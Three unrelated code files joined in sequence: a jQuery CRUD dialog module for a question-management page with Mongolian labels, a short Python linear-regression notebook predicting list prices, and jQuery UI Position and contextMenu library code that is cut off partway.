{text: _dialogAlertBtnNo, class: 'btn btn-default', click: function () {
$(_nifsQuestionDialogId).dialog('close').empty();
}},
{text: _dialogAlertBtnYes, class: 'btn btn-primary active legitRipple', click: function () {
$.ajax({
type: 'post',
url: _nifsQuestionModRootPath + 'delete',
dataType: "json",
data: {id: param.id},
success: function (data) {
if (data.status === 'success') {
new PNotify({
text: data.message,
addclass: 'bg-success'
});
} else {
new PNotify({
text: data.message,
addclass: 'bg-danger'
});
}
_initNifsQuestion({page: 0});
}
});
$(_nifsQuestionDialogId).empty().dialog('close');
}}
]
});
$(_nifsQuestionDialogId).dialog('open');
}
function _advensedSearchNifsQuestion(param) {
if (!$(_nifsQuestionDialogId).length) {
$('<div id="' + _nifsQuestionDialogId.replace('#', '') + '"></div>').appendTo('body');
}
$.ajax({
url: _nifsQuestionModRootPath + 'searchForm',
type: 'get',
dataType: 'json',
beforeSend: function () {
$.blockUI({
message: _jqueryBlockUiMessage,
overlayCSS: _jqueryBlockUiOverlayCSS,
css: _jqueryBlockUiMessageCSS
});
},
success: function (data) {
$(_nifsQuestionDialogId).html(data.html);
$(_nifsQuestionDialogId).dialog({
cache: false,
resizable: false,
bgiframe: false,
autoOpen: false,
title: data.title,
width: 600,
height: "auto",
modal: true,
close: function () {
$(_nifsQuestionDialogId).empty().dialog('close');
},
buttons: [
{text: data.btn_no, class: 'btn btn-default', click: function () {
$(_nifsQuestionDialogId).empty().dialog('close');
}},
{text: data.btn_yes, class: 'btn btn-primary active legitRipple', click: function () {
_initNifsQuestion({page: 0, searchQuery: $(_nifsQuestionDialogId).find('form').serialize()});
$(_nifsQuestionDialogId).empty().dialog('close');
}}
]
});
$(_nifsQuestionDialogId).dialog('open');
$.unblockUI();
},
error: function () {
$.unblockUI();
}
}).done(function (data) {
$('.select2').select2();
$('.radio, .checkbox').uniform({radioClass: 'choice'});
$('input[type="text"]').keypress(function () {
if (event.keyCode == 13) {
_initNifsQuestion({page: 0, searchQuery: $(_nifsQuestionDialogId).find('form').serialize()});
$(_nifsQuestionDialogId).empty().dialog('close');
}
});
});
}
function _loadContextMenuNifsQuestion() {
return {
"add": {
name: "Нэмэх (F2)",
icon: "plus",
callback: function () {
_addFormNifsQuestion({elem: this, modId: _nifsQuestionModId});
},
disabled: function (key, opt) {
if ($('input[name="our[\'create\']"]').val() == 1) {
return this.data('');
} else {
return !this.data('');
}
}
},
"edit": {
name: "Засах",
icon: "edit",
callback: function () {
var _tr = $(this).parents('tr');
_editFormNifsQuestion({elem: this, id: _tr.attr('data-id')});
},
disabled: function (key, opt) {
var _tr = $(this).parents('tr');
if (($('input[name="our[\'update\']"]').val() == 1 && _tr.attr('data-uid') == _uIdCurrent) || ($('input[name="your[\'update\']"]').val() == 1 && _tr.attr('data-uid') != _uIdCurrent)) {
return this.data('');
} else {
return !this.data('');
}
return !this.data('');
}
},
"separator1": '---------',
"delete": {
name: "Устгах",
icon: "trash",
callback: function () {
var _tr = $(this).parents('tr');
_removeNifsQuestion({elem: this, modId: _nifsQuestionModId, id: _tr.attr('data-id')});
},
disabled: function (key, opt) {
var _tr = $(this).parents('tr');
if (($('input[name="our[\'delete\']"]').val() == 1 && _tr.attr('data-uid') == _uIdCurrent) || ($('input[name="your[\'delete\']"]').val() == 1 && _tr.attr('data-uid') != _uIdCurrent)) {
return this.data('');
} else {
return !this.data('');
}
}
}
}
}
function _addFormNifsQuestion(param) {
if (!$(_nifsQuestionDialogId).length) {
$('<div id="' + _nifsQuestionDialogId.replace('#', '') + '"></div>').appendTo('body');
}
$.ajax({
url: _nifsQuestionModRootPath + 'add',
type: 'POST',
dataType: 'json',
data: {moduleMenuId: _MODULE_MENU_ID},
beforeSend: function () {
$.blockUI({
message: _jqueryBlockUiMessage,
overlayCSS: _jqueryBlockUiOverlayCSS,
css: _jqueryBlockUiMessageCSS
});
},
success: function (data) {
$(_nifsQuestionDialogId).empty().html(data.html);
$(_nifsQuestionDialogId).dialog({
cache: false,
resizable: true,
bgiframe: false,
autoOpen: false,
title: data.title,
width: 800,
height: "auto",
modal: true,
close: function () {
$(_nifsQuestionDialogId).empty().dialog('close');
},
buttons: [
{text: data.btn_no, class: 'btn btn-default', click: function () {
$(_nifsQuestionDialogId).empty().dialog('close');
}},
{text: data.btn_yes, class: 'btn btn-primary active legitRipple', click: function () {
var _form = $(_nifsQuestionDialogId).find('form');
$(_form).validate({
errorPlacement: function () {}});
if ($(_form).valid()) {
$.ajax({
type: 'post',
url: _nifsQuestionModRootPath + 'insert',
data: $(_form).serialize(),
dataType: 'json',
beforeSend: function () {
$.blockUI({
message: _jqueryBlockUiMessage,
overlayCSS: _jqueryBlockUiOverlayCSS,
css: _jqueryBlockUiMessageCSS
});
},
success: function (data) {
if (data.status === 'success') {
new PNotify({
text: data.message,
addclass: 'bg-success'
});
_initNifsQuestion({page: 0});
} else {
new PNotify({
text: data.message,
addclass: 'bg-danger'
});
}
$.unblockUI();
}
}).done(function () {
$(_nifsQuestionDialogId).empty().dialog('close');
});
}
}}
]
});
$(_nifsQuestionDialogId).dialog('open');
$.unblockUI();
},
error: function () {
$.unblockUI();
}
}).done(function (data) {
$('.radio, .checkbox').uniform({radioClass: 'choice'});
$('.select2').select2();
});
}
function _editFormNifsQuestion(param) {
if (!$(_nifsQuestionDialogId).length) {
$('<div id="' + _nifsQuestionDialogId.replace('#', '') + '"></div>').appendTo('body');
}
$.ajax({
url: _nifsQuestionModRootPath + 'edit',
type: 'POST',
dataType: 'json',
data: {moduleMenuId: _MODULE_MENU_ID, modId: _nifsQuestionModId, id: param.id},
beforeSend: function () {
$.blockUI({
message: _jqueryBlockUiMessage,
overlayCSS: _jqueryBlockUiOverlayCSS,
css: _jqueryBlockUiMessageCSS
});
},
success: function (data) {
$(_nifsQuestionDialogId).html(data.html);
$(_nifsQuestionDialogId).dialog({
cache: false,
resizable: true,
bgiframe: false,
autoOpen: false,
title: data.title,
width: 800,
height: "auto",
modal: true,
close: function () {
$(_nifsQuestionDialogId).empty().dialog('close');
},
buttons: [
{text: data.btn_no, class: 'btn btn-default', click: function () {
$(_nifsQuestionDialogId).empty().dialog('close');
}},
{text: data.btn_yes, class: 'btn btn-primary active legitRipple', click: function () {
var _form = $(_nifsQuestionDialogId).find('form');
$(_form).validate({errorPlacement: function () {}});
if ($(_form).valid()) {
$.ajax({
type: 'post',
url: _nifsQuestionModRootPath + 'update',
data: $(_form).serialize(),
dataType: 'json',
beforeSend: function () {
$.blockUI({
message: _jqueryBlockUiMessage,
overlayCSS: _jqueryBlockUiOverlayCSS,
css: _jqueryBlockUiMessageCSS
});
},
success: function (data) {
if (data.status === 'success') {
new PNotify({
text: data.message,
addclass: 'bg-success'
});
_initNifsQuestion({page: 0});
} else {
new PNotify({
text: data.message,
addclass: 'bg-danger'
});
}
$.unblockUI();
}
}).done(function () {
$(_nifsQuestionDialogId).empty().dialog('close');
});
}
}}
]
});
$(_nifsQuestionDialogId).dialog('open');
$.unblockUI();
},
error: function () {
$.unblockUI();
}
}).done(function (data) {
$('.radio, .checkbox').uniform({radioClass: 'choice'});
$('.select2').select2();
});
}
function _addControlNifsQuestion(param) {
var _notSelectedId = $(param.elem).parents('.input-group').find('select').val();
if (_notSelectedId != 0) {
$.ajax({
type: 'post',
url: _nifsQuestionModRootPath + 'controlNifsQuestionMultipleDropDown',
data: {modId: param.modId, contId: param.contId, catId: param.catId, isDeleteButton: 1, initControlHtml: param.initControlHtml},
dataType: 'json',
beforeSend: function () {
$.blockUI({
message: _jqueryBlockUiMessage,
overlayCSS: _jqueryBlockUiOverlayCSS,
css: _jqueryBlockUiMessageCSS
});
},
success: function (data) {
$('#' + param.initControlHtml).append(data);
}
}).done(function () {
$('.select2').select2();
$.unblockUI();
});
} else {
if (!$(_dialogAlertDialogId).length) {
$('<div id="' + _dialogAlertDialogId.replace('#', '') + '"></div>').appendTo('body');
}
$(_dialogAlertDialogId).empty().html("Та асуулт сонгоогүй байна");
$(_dialogAlertDialogId).dialog({
cache: false,
resizable: false,
bgiframe: false,
autoOpen: false,
title: _dialogAlertTitle,
width: _dialogAlertWidth,
height: "auto",
modal: true,
close: function () {
$(_dialogAlertDialogId).dialog('close').empty();
},
buttons: [
{text: _dialogAlertBtnClose, class: 'btn btn-primary active legitRipple', click: function () {
$(_dialogAlertDialogId).dialog('close').empty();
}}
]
});
$(_dialogAlertDialogId).dialog('open');
}
}
function _removeControlNifsQuestion(param) {
var _this = $(param.elem);
if (!$(_dialogAlertDialogId).length) {
$('<div id="' + _dialogAlertDialogId.replace('#', '') + '"></div>').appendTo('body');
}
$(_dialogAlertDialogId).empty().html("Та асуулт хасахдаа итгэлтэй байна уу?");
$(_dialogAlertDialogId).dialog({
cache: false,
resizable: false,
bgiframe: false,
autoOpen: false,
title: _dialogAlertTitle,
width: _dialogAlertWidth,
height: "auto",
modal: true,
close: function () {
$(_dialogAlertDialogId).dialog('close').empty();
},
buttons: [
{text: _dialogAlertBtnNo, class: 'btn btn-default', click: function () {
$(_dialogAlertDialogId).dialog('close').empty();
}},
{text: _dialogAlertBtnYes, class: 'btn btn-primary active legitRipple', click: function () {
_this.parents('[data-question-row="question-row"]').remove();
$(_dialogAlertDialogId).dialog('close').empty();
}}
]
});
$(_dialogAlertDialogId).dialog('open');
}
|
# --------------
import pandas as pd
import numpy as np
from sklearn.cross_validation import train_test_split
# code starts here
df = pd.read_csv(path)
df.head()
X = df.drop('list_price',axis=1)
y = df['list_price']
X_train,X_test,y_train,y_test = train_test_split(X, y, test_size=0.3, random_state=6)
# code ends here
# --------------
import matplotlib.pyplot as plt
# code starts here
cols = X_train.columns
fig,axes = plt.subplots(nrows=3, ncols=3)
for i in range(3):
for j in range(3):
col = cols[i * 3 + j]
axes[i , j].plot(X_train[col], y_train)
plt.show()
# code ends here
# --------------
# Code starts here
corr = X_train.corr()
print(corr)
# print(corr[corr.abs() > 0.75])
X_train.drop(['play_star_rating','val_star_rating'], axis=1, inplace=True)
X_test.drop(['play_star_rating','val_star_rating'], axis=1, inplace=True)
# Code ends here
# --------------
from sklearn.linear_model import LinearRegression
from sklearn.metrics import mean_squared_error, r2_score
# Code starts here
regressor = LinearRegression()
regressor.fit(X_train, y_train)
y_pred = regressor.predict(X_test)
mse = mean_squared_error(y_test, y_pred)
print(mse)
r2 = r2_score(y_test, y_pred)
print(r2)
# Code ends here
# --------------
# Code starts here
residual = y_test - y_pred
residual.hist()
# Code ends here
|
// Avoid `console` errors in browsers that lack a console.
(function() {
var method;
var noop = function () {};
var methods = [
'assert', 'clear', 'count', 'debug', 'dir', 'dirxml', 'error',
'exception', 'group', 'groupCollapsed', 'groupEnd', 'info', 'log',
'markTimeline', 'profile', 'profileEnd', 'table', 'time', 'timeEnd',
'timeStamp', 'trace', 'warn'
];
var length = methods.length;
var console = (window.console = window.console || {});
while (length--) {
method = methods[length];
// Only stub undefined methods.
if (!console[method]) {
console[method] = noop;
}
}
}());
// Place any jQuery/helper plugins in here.
/*!
* jQuery UI Position v1.10.0
* http://jqueryui.com
*
* Copyright 2013 jQuery Foundation and other contributors
* Released under the MIT license.
* http://jquery.org/license
*
* http://api.jqueryui.com/position/
*/
(function( $, undefined ) {
$.ui = $.ui || {};
var cachedScrollbarWidth,
max = Math.max,
abs = Math.abs,
round = Math.round,
rhorizontal = /left|center|right/,
rvertical = /top|center|bottom/,
roffset = /[\+\-]\d+%?/,
rposition = /^\w+/,
rpercent = /%$/,
_position = $.fn.position;
function getOffsets( offsets, width, height ) {
return [
parseInt( offsets[ 0 ], 10 ) * ( rpercent.test( offsets[ 0 ] ) ? width / 100 : 1 ),
parseInt( offsets[ 1 ], 10 ) * ( rpercent.test( offsets[ 1 ] ) ? height / 100 : 1 )
];
}
function parseCss( element, property ) {
return parseInt( $.css( element, property ), 10 ) || 0;
}
function getDimensions( elem ) {
var raw = elem[0];
if ( raw.nodeType === 9 ) {
return {
width: elem.width(),
height: elem.height(),
offset: { top: 0, left: 0 }
};
}
if ( $.isWindow( raw ) ) {
return {
width: elem.width(),
height: elem.height(),
offset: { top: elem.scrollTop(), left: elem.scrollLeft() }
};
}
if ( raw.preventDefault ) {
return {
width: 0,
height: 0,
offset: { top: raw.pageY, left: raw.pageX }
};
}
return {
width: elem.outerWidth(),
height: elem.outerHeight(),
offset: elem.offset()
};
}
$.position = {
scrollbarWidth: function() {
if ( cachedScrollbarWidth !== undefined ) {
return cachedScrollbarWidth;
}
var w1, w2,
div = $( "<div style='display:block;width:50px;height:50px;overflow:hidden;'><div style='height:100px;width:auto;'></div></div>" ),
innerDiv = div.children()[0];
$( "body" ).append( div );
w1 = innerDiv.offsetWidth;
div.css( "overflow", "scroll" );
w2 = innerDiv.offsetWidth;
if ( w1 === w2 ) {
w2 = div[0].clientWidth;
}
div.remove();
return (cachedScrollbarWidth = w1 - w2);
},
getScrollInfo: function( within ) {
var overflowX = within.isWindow ? "" : within.element.css( "overflow-x" ),
overflowY = within.isWindow ? "" : within.element.css( "overflow-y" ),
hasOverflowX = overflowX === "scroll" ||
( overflowX === "auto" && within.width < within.element[0].scrollWidth ),
hasOverflowY = overflowY === "scroll" ||
( overflowY === "auto" && within.height < within.element[0].scrollHeight );
return {
width: hasOverflowX ? $.position.scrollbarWidth() : 0,
height: hasOverflowY ? $.position.scrollbarWidth() : 0
};
},
getWithinInfo: function( element ) {
var withinElement = $( element || window ),
isWindow = $.isWindow( withinElement[0] );
return {
element: withinElement,
isWindow: isWindow,
offset: withinElement.offset() || { left: 0, top: 0 },
scrollLeft: withinElement.scrollLeft(),
scrollTop: withinElement.scrollTop(),
width: isWindow ? withinElement.width() : withinElement.outerWidth(),
height: isWindow ? withinElement.height() : withinElement.outerHeight()
};
}
};
$.fn.position = function( options ) {
if ( !options || !options.of ) {
return _position.apply( this, arguments );
}
// make a copy, we don't want to modify arguments
options = $.extend( {}, options );
var atOffset, targetWidth, targetHeight, targetOffset, basePosition, dimensions,
target = $( options.of ),
within = $.position.getWithinInfo( options.within ),
scrollInfo = $.position.getScrollInfo( within ),
collision = ( options.collision || "flip" ).split( " " ),
offsets = {};
dimensions = getDimensions( target );
if ( target[0].preventDefault ) {
// force left top to allow flipping
options.at = "left top";
}
targetWidth = dimensions.width;
targetHeight = dimensions.height;
targetOffset = dimensions.offset;
// clone to reuse original targetOffset later
basePosition = $.extend( {}, targetOffset );
// force my and at to have valid horizontal and vertical positions
// if a value is missing or invalid, it will be converted to center
$.each( [ "my", "at" ], function() {
var pos = ( options[ this ] || "" ).split( " " ),
horizontalOffset,
verticalOffset;
if ( pos.length === 1) {
pos = rhorizontal.test( pos[ 0 ] ) ?
pos.concat( [ "center" ] ) :
rvertical.test( pos[ 0 ] ) ?
[ "center" ].concat( pos ) :
[ "center", "center" ];
}
pos[ 0 ] = rhorizontal.test( pos[ 0 ] ) ? pos[ 0 ] : "center";
pos[ 1 ] = rvertical.test( pos[ 1 ] ) ? pos[ 1 ] : "center";
// calculate offsets
horizontalOffset = roffset.exec( pos[ 0 ] );
verticalOffset = roffset.exec( pos[ 1 ] );
offsets[ this ] = [
horizontalOffset ? horizontalOffset[ 0 ] : 0,
verticalOffset ? verticalOffset[ 0 ] : 0
];
// reduce to just the positions without the offsets
options[ this ] = [
rposition.exec( pos[ 0 ] )[ 0 ],
rposition.exec( pos[ 1 ] )[ 0 ]
];
});
// normalize collision option
if ( collision.length === 1 ) {
collision[ 1 ] = collision[ 0 ];
}
if ( options.at[ 0 ] === "right" ) {
basePosition.left += targetWidth;
} else if ( options.at[ 0 ] === "center" ) {
basePosition.left += targetWidth / 2;
}
if ( options.at[ 1 ] === "bottom" ) {
basePosition.top += targetHeight;
} else if ( options.at[ 1 ] === "center" ) {
basePosition.top += targetHeight / 2;
}
atOffset = getOffsets( offsets.at, targetWidth, targetHeight );
basePosition.left += atOffset[ 0 ];
basePosition.top += atOffset[ 1 ];
return this.each(function() {
var collisionPosition, using,
elem = $( this ),
elemWidth = elem.outerWidth(),
elemHeight = elem.outerHeight(),
marginLeft = parseCss( this, "marginLeft" ),
marginTop = parseCss( this, "marginTop" ),
collisionWidth = elemWidth + marginLeft + parseCss( this, "marginRight" ) + scrollInfo.width,
collisionHeight = elemHeight + marginTop + parseCss( this, "marginBottom" ) + scrollInfo.height,
position = $.extend( {}, basePosition ),
myOffset = getOffsets( offsets.my, elem.outerWidth(), elem.outerHeight() );
if ( options.my[ 0 ] === "right" ) {
position.left -= elemWidth;
} else if ( options.my[ 0 ] === "center" ) {
position.left -= elemWidth / 2;
}
if ( options.my[ 1 ] === "bottom" ) {
position.top -= elemHeight;
} else if ( options.my[ 1 ] === "center" ) {
position.top -= elemHeight / 2;
}
position.left += myOffset[ 0 ];
position.top += myOffset[ 1 ];
// if the browser doesn't support fractions, then round for consistent results
if ( !$.support.offsetFractions ) {
position.left = round( position.left );
position.top = round( position.top );
}
collisionPosition = {
marginLeft: marginLeft,
marginTop: marginTop
};
$.each( [ "left", "top" ], function( i, dir ) {
if ( $.ui.position[ collision[ i ] ] ) {
$.ui.position[ collision[ i ] ][ dir ]( position, {
targetWidth: targetWidth,
targetHeight: targetHeight,
elemWidth: elemWidth,
elemHeight: elemHeight,
collisionPosition: collisionPosition,
collisionWidth: collisionWidth,
collisionHeight: collisionHeight,
offset: [ atOffset[ 0 ] + myOffset[ 0 ], atOffset [ 1 ] + myOffset[ 1 ] ],
my: options.my,
at: options.at,
within: within,
elem : elem
});
}
});
if ( options.using ) {
// adds feedback as second argument to using callback, if present
using = function( props ) {
var left = targetOffset.left - position.left,
right = left + targetWidth - elemWidth,
top = targetOffset.top - position.top,
bottom = top + targetHeight - elemHeight,
feedback = {
target: {
element: target,
left: targetOffset.left,
top: targetOffset.top,
width: targetWidth,
height: targetHeight
},
element: {
element: elem,
left: position.left,
top: position.top,
width: elemWidth,
height: elemHeight
},
horizontal: right < 0 ? "left" : left > 0 ? "right" : "center",
vertical: bottom < 0 ? "top" : top > 0 ? "bottom" : "middle"
};
if ( targetWidth < elemWidth && abs( left + right ) < targetWidth ) {
feedback.horizontal = "center";
}
if ( targetHeight < elemHeight && abs( top + bottom ) < targetHeight ) {
feedback.vertical = "middle";
}
if ( max( abs( left ), abs( right ) ) > max( abs( top ), abs( bottom ) ) ) {
feedback.important = "horizontal";
} else {
feedback.important = "vertical";
}
options.using.call( this, props, feedback );
};
}
elem.offset( $.extend( position, { using: using } ) );
});
};
$.ui.position = {
fit: {
left: function( position, data ) {
var within = data.within,
withinOffset = within.isWindow ? within.scrollLeft : within.offset.left,
outerWidth = within.width,
collisionPosLeft = position.left - data.collisionPosition.marginLeft,
overLeft = withinOffset - collisionPosLeft,
overRight = collisionPosLeft + data.collisionWidth - outerWidth - withinOffset,
newOverRight;
// element is wider than within
if ( data.collisionWidth > outerWidth ) {
// element is initially over the left side of within
if ( overLeft > 0 && overRight <= 0 ) {
newOverRight = position.left + overLeft + data.collisionWidth - outerWidth - withinOffset;
position.left += overLeft - newOverRight;
// element is initially over right side of within
} else if ( overRight > 0 && overLeft <= 0 ) {
position.left = withinOffset;
// element is initially over both left and right sides of within
} else {
if ( overLeft > overRight ) {
position.left = withinOffset + outerWidth - data.collisionWidth;
} else {
position.left = withinOffset;
}
}
// too far left -> align with left edge
} else if ( overLeft > 0 ) {
position.left += overLeft;
// too far right -> align with right edge
} else if ( overRight > 0 ) {
position.left -= overRight;
// adjust based on position and margin
} else {
position.left = max( position.left - collisionPosLeft, position.left );
}
},
top: function( position, data ) {
var within = data.within,
withinOffset = within.isWindow ? within.scrollTop : within.offset.top,
outerHeight = data.within.height,
collisionPosTop = position.top - data.collisionPosition.marginTop,
overTop = withinOffset - collisionPosTop,
overBottom = collisionPosTop + data.collisionHeight - outerHeight - withinOffset,
newOverBottom;
// element is taller than within
if ( data.collisionHeight > outerHeight ) {
// element is initially over the top of within
if ( overTop > 0 && overBottom <= 0 ) {
newOverBottom = position.top + overTop + data.collisionHeight - outerHeight - withinOffset;
position.top += overTop - newOverBottom;
// element is initially over bottom of within
} else if ( overBottom > 0 && overTop <= 0 ) {
position.top = withinOffset;
// element is initially over both top and bottom of within
} else {
if ( overTop > overBottom ) {
position.top = withinOffset + outerHeight - data.collisionHeight;
} else {
position.top = withinOffset;
}
}
// too far up -> align with top
} else if ( overTop > 0 ) {
position.top += overTop;
// too far down -> align with bottom edge
} else if ( overBottom > 0 ) {
position.top -= overBottom;
// adjust based on position and margin
} else {
position.top = max( position.top - collisionPosTop, position.top );
}
}
},
flip: {
left: function( position, data ) {
var within = data.within,
withinOffset = within.offset.left + within.scrollLeft,
outerWidth = within.width,
offsetLeft = within.isWindow ? within.scrollLeft : within.offset.left,
collisionPosLeft = position.left - data.collisionPosition.marginLeft,
overLeft = collisionPosLeft - offsetLeft,
overRight = collisionPosLeft + data.collisionWidth - outerWidth - offsetLeft,
myOffset = data.my[ 0 ] === "left" ?
-data.elemWidth :
data.my[ 0 ] === "right" ?
data.elemWidth :
0,
atOffset = data.at[ 0 ] === "left" ?
data.targetWidth :
data.at[ 0 ] === "right" ?
-data.targetWidth :
0,
offset = -2 * data.offset[ 0 ],
newOverRight,
newOverLeft;
if ( overLeft < 0 ) {
newOverRight = position.left + myOffset + atOffset + offset + data.collisionWidth - outerWidth - withinOffset;
if ( newOverRight < 0 || newOverRight < abs( overLeft ) ) {
position.left += myOffset + atOffset + offset;
}
}
else if ( overRight > 0 ) {
newOverLeft = position.left - data.collisionPosition.marginLeft + myOffset + atOffset + offset - offsetLeft;
if ( newOverLeft > 0 || abs( newOverLeft ) < overRight ) {
position.left += myOffset + atOffset + offset;
}
}
},
top: function( position, data ) {
var within = data.within,
withinOffset = within.offset.top + within.scrollTop,
outerHeight = within.height,
offsetTop = within.isWindow ? within.scrollTop : within.offset.top,
collisionPosTop = position.top - data.collisionPosition.marginTop,
overTop = collisionPosTop - offsetTop,
overBottom = collisionPosTop + data.collisionHeight - outerHeight - offsetTop,
top = data.my[ 1 ] === "top",
myOffset = top ?
-data.elemHeight :
data.my[ 1 ] === "bottom" ?
data.elemHeight :
0,
atOffset = data.at[ 1 ] === "top" ?
data.targetHeight :
data.at[ 1 ] === "bottom" ?
-data.targetHeight :
0,
offset = -2 * data.offset[ 1 ],
newOverTop,
newOverBottom;
if ( overTop < 0 ) {
newOverBottom = position.top + myOffset + atOffset + offset + data.collisionHeight - outerHeight - withinOffset;
if ( ( position.top + myOffset + atOffset + offset) > overTop && ( newOverBottom < 0 || newOverBottom < abs( overTop ) ) ) {
position.top += myOffset + atOffset + offset;
}
}
else if ( overBottom > 0 ) {
newOverTop = position.top - data.collisionPosition.marginTop + myOffset + atOffset + offset - offsetTop;
if ( ( position.top + myOffset + atOffset + offset) > overBottom && ( newOverTop > 0 || abs( newOverTop ) < overBottom ) ) {
position.top += myOffset + atOffset + offset;
}
}
}
},
flipfit: {
left: function() {
$.ui.position.flip.left.apply( this, arguments );
$.ui.position.fit.left.apply( this, arguments );
},
top: function() {
$.ui.position.flip.top.apply( this, arguments );
$.ui.position.fit.top.apply( this, arguments );
}
}
};
// fraction support test
(function () {
var testElement, testElementParent, testElementStyle, offsetLeft, i,
body = document.getElementsByTagName( "body" )[ 0 ],
div = document.createElement( "div" );
//Create a "fake body" for testing based on method used in jQuery.support
testElement = document.createElement( body ? "div" : "body" );
testElementStyle = {
visibility: "hidden",
width: 0,
height: 0,
border: 0,
margin: 0,
background: "none"
};
if ( body ) {
$.extend( testElementStyle, {
position: "absolute",
left: "-1000px",
top: "-1000px"
});
}
for ( i in testElementStyle ) {
testElement.style[ i ] = testElementStyle[ i ];
}
testElement.appendChild( div );
testElementParent = body || document.documentElement;
testElementParent.insertBefore( testElement, testElementParent.firstChild );
div.style.cssText = "position: absolute; left: 10.7432222px;";
offsetLeft = $( div ).offset().left;
$.support.offsetFractions = offsetLeft > 10 && offsetLeft < 11;
testElement.innerHTML = "";
testElementParent.removeChild( testElement );
})();
}( jQuery ) );
/*!
* jQuery contextMenu - Plugin for simple contextMenu handling
*
* Version: git-master
*
* Authors: Rodney Rehm, Addy Osmani (patches for FF)
* Web: http://medialize.github.com/jQuery-contextMenu/
*
* Licensed under
* MIT License http://www.opensource.org/licenses/mit-license
* GPL v3 http://opensource.org/licenses/GPL-3.0
*
*/
(function($, undefined){
// TODO: -
// ARIA stuff: menuitem, menuitemcheckbox und menuitemradio
// create <menu> structure if $.support[htmlCommand || htmlMenuitem] and !opt.disableNative
// determine html5 compatibility
$.support.htmlMenuitem = ('HTMLMenuItemElement' in window);
$.support.htmlCommand = ('HTMLCommandElement' in window);
$.support.eventSelectstart = ("onselectstart" in document.documentElement);
/* // should the need arise, test for css user-select
$.support.cssUserSelect = (function(){
var t = false,
e = document.createElement('div');
$.each('Moz|Webkit|Khtml|O|ms|Icab|'.split('|'), function(i, prefix) {
var propCC = prefix + (prefix ? 'U' : 'u') + 'serSelect',
prop = (prefix ? ('-' + prefix.toLowerCase() + '-') : '') + 'user-select';
e.style.cssText = prop + ': text;';
if (e.style[propCC] == 'text') {
t = true;
return false;
}
return true;
});
return t;
})();
*/
if (!$.ui || !$.ui.widget) {
// duck punch $.cleanData like jQueryUI does to get that remove event
// https://github.com/jquery/jquery-ui/blob/master/ui/jquery.ui.widget.js#L16-24
var _cleanData = $.cleanData;
$.cleanData = function( elems ) {
for ( var i = 0, elem; (elem = elems[i]) != null; i++ ) {
try {
$( elem ).triggerHandler( "remove" );
// http://bugs.jquery.com/ticket/8235
} catch( e ) {}
}
_cleanData( elems );
};
}
var // currently active contextMenu trigger
$currentTrigger = null,
// is contextMenu initialized with at least one menu?
initialized = false,
// window handle
$win = $(window),
// number of registered menus
counter = 0,
// mapping selector to namespace
namespaces = {},
// mapping namespace to options
menus = {},
// custom command type handlers
types = {},
// default values
defaults = {
// selector of contextMenu trigger
selector: null,
// where to append the menu to
appendTo: null,
// method to trigger context menu ["right", "left", "hover"]
trigger: "right",
// hide menu when mouse leaves trigger / menu elements
autoHide: false,
// ms to wait before showing a hover-triggered context menu
delay: 200,
// flag denoting if a second trigger should simply move (true) or rebuild (false) an open menu
// as long as the trigger happened on one of the trigger-element's child nodes
reposition: true,
// determine position to show menu at
determinePosition: function($menu) {
// position to the lower middle of the trigger element
if ($.ui && $.ui.position) {
// .position() is provided as a jQuery UI utility
// (...and it won't work on hidden elements)
$menu.css('display', 'block').position({
my: "center top",
at: "center bottom",
of: this,
offset: "0 5",
collision: "fit"
}).css('display', 'none');
} else {
// determine contextMenu position
var offset = this.offset();
offset.top += this.outerHeight();
offset.left += this.outerWidth() / 2 - $menu.outerWidth() / 2;
$menu.css(offset);
}
},
// position menu
position: function(opt, x, y) {
var $this = this,
offset;
// determine contextMenu position
if (!x && !y) {
opt.determinePosition.call(this, opt.$menu);
return;
} else if (x === "maintain" && y === "maintain") {
// x and y must not be changed (after re-show on command click)
offset = opt.$menu.position();
} else {
// x and y are given (by mouse event)
offset = {top: y, left: x};
}
// correct offset if viewport demands it
var bottom = $win.scrollTop() + $win.height(),
right = $win.scrollLeft() + $win.width(),
height = opt.$menu.height(),
width = opt.$menu.width();
if (offset.top + height > bottom) {
offset.top -= height;
}
if (offset.left + width > right) {
offset.left -= width;
}
opt.$menu.css(offset);
},
// position the sub-menu
positionSubmenu: function($menu) {
if ($.ui && $.ui.position) {
// .position() is provided as a jQuery UI utility
// (...and it won't work on hidden elements)
$menu.css('display', 'block').position({
my: "left top",
at: "right top",
of: this,
collision: "flipfit fit"
}).css('display', '');
} else {
// determine contextMenu position
var offset = {
top: 0,
left: this.outerWidth()
};
$menu.css(offset);
}
},
// offset to add to zIndex
zIndex: 1,
// show hide animation settings
animation: {
duration: 50,
show: 'slideDown',
hide: 'slideUp'
},
// events
events: {
show: $.noop,
hide: $.noop
},
// default callback
callback: null,
// list of contextMenu items
items: {}
},
// mouse position for hover activation
hoveract = {
timer: null,
pageX: null,
pageY: null
},
// determine zIndex
zindex = function($t) {
var zin = 0,
$tt = $t;
while (true) {
zin = Math.max(zin, parseInt($tt.css('z-index'), 10) || 0);
$tt = $tt.parent();
if (!$tt || !$tt.length || "html body".indexOf($tt.prop('nodeName').toLowerCase()) > -1 ) {
break;
}
}
return zin;
},
// event handlers
handle = {
// abort anything
abortevent: function(e){
e.preventDefault();
e.stopImmediatePropagation();
},
// contextmenu show dispatcher
contextmenu: function(e) {
var $this = $(this);
// disable actual context-menu
e.preventDefault();
e.stopImmediatePropagation();
// abort native-triggered events unless we're triggering on right click
if (e.data.trigger != 'right' && e.originalEvent) {
return;
}
// abort event if menu is visible for this trigger
if ($this.hasClass('context-menu-active')) {
return;
}
if (!$this.hasClass('context-menu-disabled')) {
// theoretically need to fire a show event at <menu>
// http://www.whatwg.org/specs/web-apps/current-work/multipage/interactive-elements.html#context-menus
// var evt = jQuery.Event("show", { data: data, pageX: e.pageX, pageY: e.pageY, relatedTarget: this });
// e.data.$menu.trigger(evt);
$currentTrigger = $this;
if (e.data.build) {
var built = e.data.build($currentTrigger, e);
// abort if build() returned false
if (built === false) {
return;
}
// dynamically build menu on invocation
e.data = $.extend(true, {}, defaults, e.data, built || {});
// abort if there are no items to display
if (!e.data.items || $.isEmptyObject(e.data.items)) {
// Note: jQuery captures and ignores errors from event handlers
if (window.console) {
(console.error || console.log)("No items specified to show in contextMenu");
}
throw new Error('No Items specified');
}
// backreference for custom command type creation
e.data.$trigger = $currentTrigger;
op.create(e.data);
}
// show menu
op.show.call($this, e.data, e.pageX, e.pageY);
}
},
// contextMenu left-click trigger
click: function(e) {
e.preventDefault();
e.stopImmediatePropagation();
$(this).trigger($.Event("contextmenu", { data: e.data, pageX: e.pageX, pageY: e.pageY }));
},
// contextMenu right-click trigger
mousedown: function(e) {
// register mouse down
